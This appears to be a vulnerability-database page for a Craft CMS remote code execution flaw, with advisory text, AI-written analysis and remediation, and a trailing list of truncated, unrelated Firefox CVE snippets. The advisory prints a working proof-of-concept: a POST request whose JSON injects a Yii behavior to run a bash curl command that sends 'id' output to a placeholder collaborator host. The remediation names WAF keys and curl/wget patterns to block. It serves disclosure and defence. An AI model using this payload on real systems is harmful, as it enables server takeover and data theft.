Craft CMS CVE-2026-44011
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionGitHub Advisory
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.
This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.
The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.
This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.
We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [
{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
}
]
},
"on *": "self::beforeSave"
}
]
}
}Resources
https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
AnalysisAI
Remote code execution in Craft CMS allows any authenticated user to execute arbitrary system commands via malicious Yii object configuration. This vulnerability exploits uncleansed field layout data in the condition handling path, bypassing previous CVE-2024-4990 mitigations. Attackers can inject behaviors through POST requests to admin endpoints like /admin/actions/element-search/search, triggering command execution via AttributeTypecastBehavior abuse. Publicly available exploit code exists in the GitHub advisory (GHSA-qrgm-p9w5-rrfw) with detailed proof-of-concept. Affects Craft CMS 4.0.0-RC1 through 4.16.16 and 5.0.0-RC1 through 5.8.20. Vendor-released patches: 4.16.17 and 5.8.21.
Technical ContextAI
This vulnerability targets Craft CMS's implementation of Yii framework's dynamic object configuration feature. The flaw (CWE-470: Use of Externally-Controlled Input to Select Classes or Code) exists in how Craft CMS hydrates FieldLayout objects from request data without applying Component::cleanseConfig() sanitization boundaries. Yii's behavior attachment mechanism (via 'as <behavior>' syntax) allows applications to dynamically attach behavior classes to components at runtime. Craft CMS models call configuration methods before parent::__construct(), enabling attacker-controlled special config keys to take effect during object creation. The vulnerability chain exploits AttributeTypecastBehavior's typecastBeforeSave functionality, which accepts arbitrary callables. When a field layout initialization triggers an event on the tainted Component (using wildcard event handlers 'on *'), the malicious callable executes. This represents an evolution of the object-config/behavior-injection vulnerability family, specifically bypassing mitigations implemented for CVE-2024-4990 and CVE-2024-58136 by using legitimate Yii behavior classes rather than arbitrary class instantiation.
RemediationAI
Upgrade immediately to Craft CMS version 5.8.21 (for 5.x deployments) or 4.16.17 (for 4.x deployments) as documented in GitHub commit 27f55886098b56c00ddc53b69239c9c9192252c7 and 6e608a1a5bfb36943f94f584b7548ca542a86fef. The patches implement Component::cleanseConfig() boundaries in the condition and field layout hydration code paths, preventing malicious configuration injection during object creation. Review the Craft CMS 5.x changelog at https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04 for complete fix details. If immediate patching is not possible, implement compensating controls: (1) Restrict authenticated user access to admin panel routes (/admin/*) using web server ACLs limited to trusted IP ranges - this prevents remote exploitation but may disrupt legitimate remote administration workflows; (2) Deploy a Web Application Firewall (WAF) rule to block POST requests to /admin/actions/element-search/search and /admin/actions/element-indexes/* containing JSON payloads with '__class', '__construct()', or 'as ' keys in the condition.fieldLayouts parameter - note this may break legitimate administrative functions using dynamic field layouts; (3) Enable comprehensive audit logging of all admin panel POST requests to detect exploitation attempts via unusual curl/wget command patterns in server logs or unexpected outbound connections. All workarounds significantly impact usability and should be considered temporary only until patching.
The PDF reader in Mozilla Firefox before 39.0.3, Firefox ESR 38.x before 38.1.1, and Firefox OS before 2.2 allows remote
Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before
Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderb
Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox b
The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 16.0, Firefox ESR 10.x before 10.0.8, Thunderbi
The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird befo
An issue was discovered in the Cisco WebEx Extension before 1.0.7 on Google Chrome, the ActiveTouch General Plugin Conta
The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with
The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 18.0, Firefox ESR 17.x before 17.0.2, Thunderbi
The Web IDL implementation in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and Se
Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25 allow remo
The Firefox sandbox in Adobe Flash Player before 10.3.183.67 and 11.x before 11.6.602.171 on Windows and Mac OS X, and b
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-qrgm-p9w5-rrfw